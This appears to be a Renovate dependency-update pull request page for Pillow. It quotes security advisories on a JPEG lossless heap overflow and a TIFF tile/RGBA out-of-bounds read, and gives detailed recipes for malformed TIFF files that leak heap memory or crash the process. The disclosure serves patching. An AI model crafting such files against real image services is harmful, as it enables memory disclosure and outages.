    #&#8203;5 ImagingJpegDecode /src/repo/src/libImaging/JpegDecode.c:252:22
    #&#8203;6 _decode /src/repo/src/decode.c:132:14

0x74e4e904aad8 is located 0 bytes after 600-byte region [0x74e4e904a880,0x74e4e904aad8)
allocated by thread T0 here:
    #&#8203;0 calloc
    #&#8203;1 _setimage /src/repo/src/decode.c:230:34

SUMMARY: AddressSanitizer: heap-buffer-overflow in __asan_memcpy

Negative control, same image: a baseline DCT JPEG of identical dimensions thumbnails cleanly, because libjpeg honours 1/2 scaling exactly as draft() computed it.

control baseline DCT JPEG: JPEG L (1200, 1100)
thumbnail OK, size = (256, 235) -- no ASan report
Scope and caveats
  • Reproduced on main at e41083f383c9cd3db95de52564cc0b6452313d4a, which is current origin/main as of 2026-08-30. Also reported against 12.3.0.
  • Requires the linked libjpeg to support lossless decoding, i.e. libjpeg-turbo >= 3.0. That is what the official Pillow wheels bundle. Builds against libjpeg-turbo 2.x or IJG libjpeg reject SOF3 before any row is decoded and are not affected.
  • No non-default Pillow configuration is involved: Image.thumbnail() calls draft() by default, and the triggering bytes are entirely file data.
  • Only paths that use draft() before loading are affected. open().load() and resize() decode at scale 1 and are unaffected. Calling img.load() before thumbnail(), or thumbnail(..., reducing_gap=None), avoids the path in an application today.
  • Not affected on the same code path: SOF11 (arithmetic lossless) fails with JERR_ARITH_NOTIMPL before any row; 12- and 16-bit lossless are rejected by Pillow's SOF() because it requires bits == 8; SOF5-7/13-15 fail with JERR_SOF_UNSUPPORTED.
Credit and disclosure

Found by Anthropic using Claude to study the security of open-source software, validated manually by Ada Logics.

This report follows Anthropic's coordinated vulnerability disclosure policy
(https://www.anthropic.com/coordinated-vulnerability-disclosure), with a 90-day
disclosure window from the date of this report.

Credit goes to Claude (Anthropic) and Ada Logics.

Severity

  • CVSS Score: 9.2 / 10 (Critical)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: OOB read in TiffDecode.c tile and RGBA paths leaks heap memory into pixels

CVE-2026-112404 / GHSA-c6hw-5grf-ff96

More information

Details

============================================================================
OOB read in TiffDecode.c tile and RGBA paths leaks heap memory into pixels
Location: src/libImaging/TiffDecode.c:483  in _decodeTile()
Commit:   a707c6b21c313880d0771e54965d142dd42358b6
============================================================================

Pillow reads past the end of a heap buffer when decoding certain malformed compressed TIFF files, and copies the bytes it reads into the pixels of the image it returns. An attacker who can get an application to open and load an image file, for example by uploading it to a service that returns thumbnails, previews or converted images, gets back fragments of that process's heap memory, including pointer values. A slightly larger file instead crashes the process. No special settings are needed, and nothing is written out of bounds.

The bug is in _decodeTile() and _decodeAsRGBA() in src/libImaging/TiffDecode.c. Both size their decode buffer from libtiff's view of the pixel layout (TIFFTileSize()/TIFFTileRowSize(), or img.width * 4). They then unpack each row with the unpacker that TiffImagePlugin._setup() chose from Pillow's own parse of the directory, and neither checks that the unpacker's input row fits inside the row libtiff produced. _decodeStrip() has exactly this check, added for OSS-Fuzz crash-0da0 in 8.2.0, but the tile and RGBA paths never got it.

The two parsers can be made to disagree with a duplicated PhotometricInterpretation or BitsPerSample tag, because libtiff keeps the first occurrence and Pillow keeps the last. Pillow then unpacks 4 to 8 bytes per pixel from rows that libtiff filled with 1 to 4 bytes, so the last rows of each tile are read from beyond the buffer. The disclosed memory is a few tile rows past the buffer, and the attacker chooses the tile width. The amount does not grow with the number of tiles, because the buffer is reused for every tile.

The tile half was introduced in 1c295bf43 (first released in 8.2.0). The RGBA half was introduced in eb8c1206d, the CVE-2020-35654 fix (8.1.0).

The attached reproducer runs against an unmodified build. It writes three roughly 400-byte files that load without error, yet the last pixel rows of each change with glibc's malloc fill pattern and contain heap pointer bytes. A fourth file with a 65536x16 tile segfaults in copy4 ← _decodeTile (TiffDecode.c:483) in most runs, depending on what is mapped after the buffer.

Details

_decodeTile() and _decodeAsRGBA() in src/libImaging/TiffDecode.c size state->buffer from what libtiff says it will produce (TIFFTileSize(), resp. img.width * 4), but unpack each row with the shuffler that TiffImagePlugin._setup() selected from Pillow's own parse of the IFD. Nothing in either function checks that the unpacker's input row (width * state->bits / 8 bytes) fits inside the row libtiff wrote. _decodeStrip() has exactly that check; the other two do not. Whenever the two IFD parsers disagree about the pixel layout — a tag with the wrong count or type that libtiff ignores but Pillow accepts, or a duplicated PhotometricInterpretation/BitsPerSample/SamplesPerPixel entry (libtiff keeps the first occurrence, ImageFileDirectory_v2.load() the last) — the unpacker reads past the end of the heap buffer and the bytes it reads become pixels of the returned image. Any Pillow rawmode wider than libtiff's actual sample layout works (RGBX, RGB;16N, RGBA;16N, I;32, F;32F, …); RGBA;16N (64 bits/pixel) against 1-bit libtiff data is the largest ratio, where every row after the first of each tile is read almost entirely from beyond the buffer.

The ~400-byte TIFF tile_count2.tif generated by the reproducer — one 16x16 tile, BitsPerSample 8, SamplesPerPixel 1, Compression 8 (Adobe Deflate), and PhotometricInterpretation written as a SHORT with count 2 (6, 6) — is opened by Image.open() as mode RGB with libtiff rawmode RGBX, and load() succeeds on the stock build. Rows 13–15 of the result contain bytes that lie 16, 32 and 48 bytes past the 256-byte tile buffer: decoding the same file twice under MALLOC_PERTURB_=85 and =170 yields identical rows 0–12 and different bytes in rows 13–15 (aa vs 55, i.e. glibc's fill pattern). Under an ASan build of the extensions the same load() reports heap-buffer-overflow READ of size 64 in copy4 (src/libImaging/Unpack.c:1290) called from src/libImaging/TiffDecode.c:483, against the 256-byte region allocated at TiffDecode.c:448. The same layout with a single 65536x16 tile (4.5 KB file) makes the stock build SIGSEGV in copy4 ← _decodeTile reading an unmapped address in most runs (whether it faults depends on what is mapped after the 1 MiB buffer; a wider tile makes it reliable).

Why the two parsers disagree

libtiff 4.5 rejects a PhotometricInterpretation entry whose count is not 1 (TIFFFetchNormalTag: Incorrect count for "PhotometricInterpretation"; tag ignored), so for this file TIFFGetField(tiff, TIFFTAG_PHOTOMETRIC, …) returns 0 and libtiff treats the data as one 8-bit sample per pixel: TIFFTileSize() = 256, TIFFTileRowSize() = 16.

Pillow keeps the first value and carries on:

##### src/PIL/TiffImagePlugin.py:762-770  (ImageFileDirectory_v2._setitem, reached from load())
            try:
                (dest[tag],) = values
            except ValueError:
                # We've got a builtin tag with 1 expected entry
                warnings.warn(f"Metadata Warning, tag {tag} had too many entries: ...")
                dest[tag] = values[0]

so _setup() sees photo == 6. OPEN_INFO[(II, 6, (1,), 1, (8,), ())] is ("L", "L"), and because the file is compressed the libtiff branch then overrides the rawmode:

##### src/PIL/TiffImagePlugin.py:1578, 1600-1607
        self.use_load_libtiff = READ_LIBTIFF or self._compression != "raw"
        …
            if photo == 6:
                self._mode = "RGB"
                if self._compression in "jpeg" and self._planar_configuration == 1:
                    rawmode = "RGB"
                else:
                    rawmode = "RGBX"

RGBX is a 32-bit rawmode, so get_unpacker() (src/decode.c:301-309) sets state->bits = 32 and state->shuffle = copy4. The intent of the photo == 6 override is that libtiff will deliver RGBA through TIFFRGBAImage, but that decision is made in C from libtiff's reading of the tag, which here is "not YCbCr":

// src/libImaging/TiffDecode.c:737-764
    TIFFGetField(tiff, TIFFTAG_PHOTOMETRIC, &photometric);   // unset -> stays 0
    …
    readAsRGBA = photometric == PHOTOMETRIC_YCBCR;          // 0
    …
        if (TIFFIsTiled(tiff)) {
            _decodeTile(im, state, tiff, planes, unpackers); // unpackers[0] = copy4
The missing check

_decodeTile() only guards against libtiff's tile being larger than what the unpacker expects, then allocates exactly TIFFTileSize() bytes and feeds row_byte_size-strided rows to the shuffler:

// src/libImaging/TiffDecode.c:403-487  (_decodeTile)
    tile_bytes_size = TIFFTileSize(tiff);                      // 256
    …
    row_byte_size = TIFFTileRowSize(tiff);                     // 16
    …
    if (tile_bytes_size > ((tile_length * state->bits / planes + 7) / 8) * tile_width) {
        // 256 > 1024 is false -> no abort
        …
    }
    state->bytes = tile_bytes_size;
    new_data = realloc(state->buffer, state->bytes);           // 256-byte buffer (line 448)
    …
                for (tile_y = 0; tile_y < current_tile_length; tile_y++) {
                    shuffler(                                   // copy4: reads current_tile_width*4 = 64 bytes
                        (UINT8 *)im->image[tile_y + y] + x * im->pixelsize,
                        state->buffer + tile_y * row_byte_size, // from offset 16*tile_y
                        current_tile_width
                    );

Row tile_y is read from [16·tile_y, 16·tile_y + 64); for tile_y = 13, 14, 15 that ends 16, 32, 48 bytes past the 256-byte allocation. In general the last rows of every tile over-read by up to (state->bits / libtiff_bits_per_pixel − 1) × row_byte_size bytes, and row_byte_size scales with the attacker-chosen TileWidth.

Note also that the existing one-sided check at line 434 multiplies the file-controlled tile_width/tile_length (UINT32, accepted up to INT_MAX at line 428) by state->bits in 32-bit unsigned arithmetic, so tile_width * state->bits wraps for tile_width ≥ 2^32 / bits (2^26 for the 64-bit rawmodes, 2^27 for RGBX/I;32/F;32F). An 8 KB file declaring a 2,097,152×1 image with TILEWIDTH = 2^26+16, TILELENGTH = 1, 1-bit data for libtiff and RGBA;16N for Pillow makes libtiff allocate an ~8 MB tile from which unpackRGBA16L reads 16 MB, and the stock build SIGSEGVs in unpackRGBA16L ← _decodeTile (TiffDecode.c:483); a row-size comparison written in the same 32-bit arithmetic as line 434 would evaluate that row to 128 bytes and still accept it, so the new check must be done in a 64-bit type.

Compare the strip path, which refuses this situation (added for OSS-Fuzz crash-0da0 in 8.2.0):

// src/libImaging/TiffDecode.c:528-548  (_decodeStrip)
    unpacker_row_byte_size = (state->xsize * state->bits / planes + 7) / 8;
    …
    row_byte_size = TIFFScanlineSize(tiff);
    // if the unpacker calculated row size is > row byte size, (at least) the last
    // row of the strip will have a read buffer overflow.
    if (row_byte_size == 0 || unpacker_row_byte_size > row_byte_size) {
        state->errcode = IMAGING_CODEC_BROKEN;
        return -1;
    }

The identical file written with one strip instead of one tile fails load() with OSError: decoder error -2 because of this check.

Same gap in _decodeAsRGBA()

_decodeAsRGBA() always produces img.width * 4 bytes per row (TiffDecode.c:325, buffer allocated at line 339) and unpacks with state->shuffle (line 373) without looking at state->bits. It is reached when libtiff sees YCbCr while Pillow does not force RGBX. libtiff marks later duplicates of a tag as ignored (first occurrence wins); Pillow's ImageFileDirectory_v2.load() overwrites (TiffImagePlugin.py:945, last wins). The reproducer's ycbcr_dup.tif is a 16x16 Deflate strip with PhotometricInterpretation present twice (6, then 2) and BitsPerSample twice (8,8,8, then 16,16,16): libtiff decodes 8-bit YCbCr into a 1024-byte RGBA raster, Pillow selects RGB;16N (state->bits = 48), and unpackRGB16L reads 96 bytes per 64-byte row — ASan reports heap-buffer-overflow in unpackRGB16L (Unpack.c:609) from TiffDecode.c:373, past the 1024-byte region from TiffDecode.c:339.

The count-2 encoding is not the only lever, and on released versions it is not a lever at all: a 1-sample photo == 6 file only gets rawmode RGBX since the unreleased commit 155330d63 ("Do not open YCbCr colorspace images as RGB without libtiff (#​9779)", 2026-08-26). Released versions are reached through duplicated tags instead. A 3-sample tiled file with two PhotometricInterpretation entries (1 or 2, then 6) produces the same copy4 ← _decodeTile over-read, since libtiff keeps the first value and decodes 3 bytes per pixel while Pillow keeps 6 and unpacks 4 (the reproducer's tile_dup.tif). ycbcr_dup.tif above reaches _decodeAsRGBA() the same way.

Impact

Any application that calls Image.open() + load() (or thumbnail(), convert(), save(), …) on an untrusted file reaches this with default settings: the file is content-sniffed as TIFF, and any compressed TIFF is decoded through libtiff and TiffDecode.c without READ_LIBTIFF being set. The over-read bytes are copied into the image's pixel rows, so a service that returns a thumbnail, preview or converted image hands adjacent heap memory back to the uploader, heap pointer values included — up to three libtiff tile rows past the buffer for the RGBX-over-8-bit case, with the tile row length (TileWidth) chosen by the attacker. state->buffer is allocated once and reused for every tile, so each tile re-reads the same region past that one buffer; the distinct heap disclosed per image is about (unpacker_bpp / libtiff_bpp − 1) tile rows and does not grow with the tile count. With a wide tile the read runs off the mapping and the process segfaults instead (the 65536x16 case crashes the stock build in most runs, depending on what is mapped after the buffer), taking down the whole worker rather than one request. Writes go to the correctly sized Imaging rows, so this is disclosure / crash, not memory corruption.

This is the same family as CVE-2020-35654 (Pillow and libtiff interpreting a YCbCr IFD differently in TiffDecode.c); that fix and the later crash-0da0 fix closed the write and the strip-path read, but the tile path and the RGBA path still trust Pillow's rawmode over libtiff's row size. The tile-path gap was introduced in 1c295bf43c3a ("Check for dimensions and sizes to fit into int", 2021-01-25), which switched _decodeTile() from a buffer sized by Pillow's unpacker to TIFFTileSize()/TIFFTileRowSize(); it is first in Pillow 8.2.0. The _decodeAsRGBA() half dates from eb8c1206d6b1 ("Fix CVE-2020-35654 - OOB Write in TiffDecode.c"), first in 8.1.0.

Reproducing

Run repro (a single Python 3 script) against the installed, unmodified Pillow. No sanitizer build is needed. It writes four TIFFs into a temporary directory, decodes each one in a child process, and removes the directory at the end.

The script writes its TIFFs byte by byte with a small classic-TIFF writer. Each file has a single IFD and a single Deflate-compressed block. Deflate is only there so the file is decoded by libtiff and TiffDecode.c. Every pixel byte in the compressed data is defined, so the decoded image should not depend on anything else in the process:

  • tile_count2.tif: a 16x16, 1-sample, 8-bit tile with PhotometricInterpretation written as SHORT count 2, (6, 6). Pillow keeps 6 and unpacks with copy4 (RGBX, 4 bytes per pixel). libtiff ignores the tag and decodes 1 byte per pixel. This lever needs 155330d63 (unreleased).
  • tile_dup.tif: a 16x16, 3-sample, 8-bit tile with PhotometricInterpretation present twice, 2 then 6. libtiff keeps 2 (RGB, 3 bytes per pixel) and Pillow keeps 6 (RGBX, 4 bytes per pixel). This variant also applies to released versions.
  • ycbcr_dup.tif: the 16x16 strip with BitsPerSample 8,8,8 then 16,16,16 and PhotometricInterpretation 6 then 2. libtiff decodes 8-bit YCbCr through _decodeAsRGBA() (4 bytes per pixel), and Pillow unpacks RGB;16N with unpackRGB16L (6 bytes per pixel).
  • tile_big.tif: the tile_count2.tif layout with a single 65536x16 tile.

For each of the first three files, the script runs Image.open() + load() + tobytes() twice, once with MALLOC_PERTURB_=85 and once with =170. If the two outputs differ, bytes from beyond the decode buffer have become pixels. In that case it prints the first differing offset and the bytes around it from both runs. On this tree all three differ in their last rows: the aa/55 fill bytes show up, along with heap pointer bytes. The script then decodes tile_big.tif and checks for a SIGSEGV (exit status -11). If gdb is available, it prints the top frames: copy4 (Unpack.c:1290) ← _decodeTile (TiffDecode.c:483) ← ImagingLibTiffDecode. This crash depends on ASLR, so an occasional run may survive.

Each step prints which _imaging build it used and how Pillow opened the file (mode, size and rawmode). The script ends with a one-line summary. The last line is BUG if any file leaked he

[!IMPORTANT]
✂ PR body was truncated to here.

@renovate

renovate Bot commented Oct 21, 2026

Copy link
Copy Markdown
Contributor Author

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

  • any of the package files in this branch needs updating, or
  • the branch becomes conflicted, or
  • you click the rebase/retry checkbox if found above, or
  • you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: poetry.lock
Creating virtualenv pixelmatch--C27oMZR-py3.15 in /home/ubuntu/.cache/pypoetry/virtualenvs

The current project's supported Python range (>=3.10,<4.0) is not compatible with some of the required packages Python requirement:
  - pillow requires Python >=3.11, so it will not be installable for Python >=3.10,<3.11

Because pixelmatch depends on pillow (13.0.0) which requires Python >=3.11, version solving failed.

  * Check your dependencies Python requirement: The Python requirement can be specified via the `python` or `markers` properties

    For pillow, a possible solution would be to set the `python` property to ">=3.11,<4.0"

    https://python-poetry.org/docs/dependency-specification/#python-restricted-dependencies,
    https://python-poetry.org/docs/dependency-specification/#using-environment-markers


@sonarqubecloud

Copy link
Copy Markdown

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants